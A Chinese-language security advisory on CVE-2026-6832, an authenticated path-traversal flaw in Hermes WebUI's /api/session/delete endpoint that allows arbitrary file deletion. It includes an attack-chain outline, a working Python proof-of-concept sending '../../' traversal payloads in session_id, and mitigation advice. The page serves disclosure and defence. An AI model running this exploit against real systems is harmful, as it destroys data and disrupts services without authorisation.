IPBUF安全漏洞报告
English
CVE-2026-6832 CVSS 8.1 高危

CVE-2026-6832 Hermes WebUI 任意文件删除漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-6832
漏洞类型
任意文件删除
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Hermes WebUI

相关标签

任意文件删除路径遍历Hermes WebUICWE-22认证后漏洞

漏洞概述

Hermes WebUI的/api/session/delete接口存在安全缺陷,允许经过身份验证的攻击者通过操纵session_id参数删除系统上的任意文件。由于系统未对该参数进行严格的路径校验,攻击者可利用绝对路径或路径遍历序列(如../)突破SESSION_DIR限制,进而删除主机上可写的JSON文件。该漏洞对系统的完整性和可用性造成严重影响,CVSS评分为8.1分。

技术细节

该漏洞的核心在于Hermes WebUI在/api/session/delete端点处理用户输入时存在逻辑缺陷。应用程序直接将HTTP请求中的session_id参数拼接到文件系统路径中,未能有效过滤路径遍历字符(如../)或绝对路径符号(如/)。尽管该端点设计初衷是管理用户会话文件,但由于缺乏基于前缀的路径校验机制,攻击者可以通过精心构造的Payload(例如../../config/settings.json)欺骗服务器遍历出预期的SESSION_DIR目录。攻击者利用低权限账号认证后发送恶意请求,服务器进程可能删除系统关键配置或数据文件,从而导致服务不可用或配置被篡改。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行Hermes WebUI,并确认存在/api/session/delete端点。
STEP 2
获取认证
攻击者注册或获取一个低权限的合法用户账号,获取有效的Session Cookie。
STEP 3
构造载荷
攻击者构造包含路径遍历序列(如../)或绝对路径的session_id参数,指向目标敏感文件。
STEP 4
发送攻击请求
攻击者向目标端点发送包含恶意Payload的POST请求。
STEP 5
执行删除
服务器端解析路径并执行文件删除操作,导致系统文件丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, session_cookie, file_path): """ PoC for CVE-2026-6832: Hermes WebUI Arbitrary File Deletion """ endpoint = f"{target_url}/api/session/delete" headers = { "Cookie": f"session={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload using path traversal to delete a target file data = { "session_id": f"../../{file_path}" } try: response = requests.post(endpoint, headers=headers, data=data) if response.status_code == 200: print(f"[+] Successfully triggered deletion for {file_path}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Example usage: # exploit("http://localhost:8080", "attacker_session_id", "config.json")

影响范围

Hermes WebUI < v0.50.132

防御指南

临时缓解措施
在未升级补丁前,建议通过WAF或反向代理拦截包含路径遍历特征(如'../', '%2e%2e')的请求。同时,应严格限制WebUI的访问来源IP,并确保对系统关键配置文件进行定期备份,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表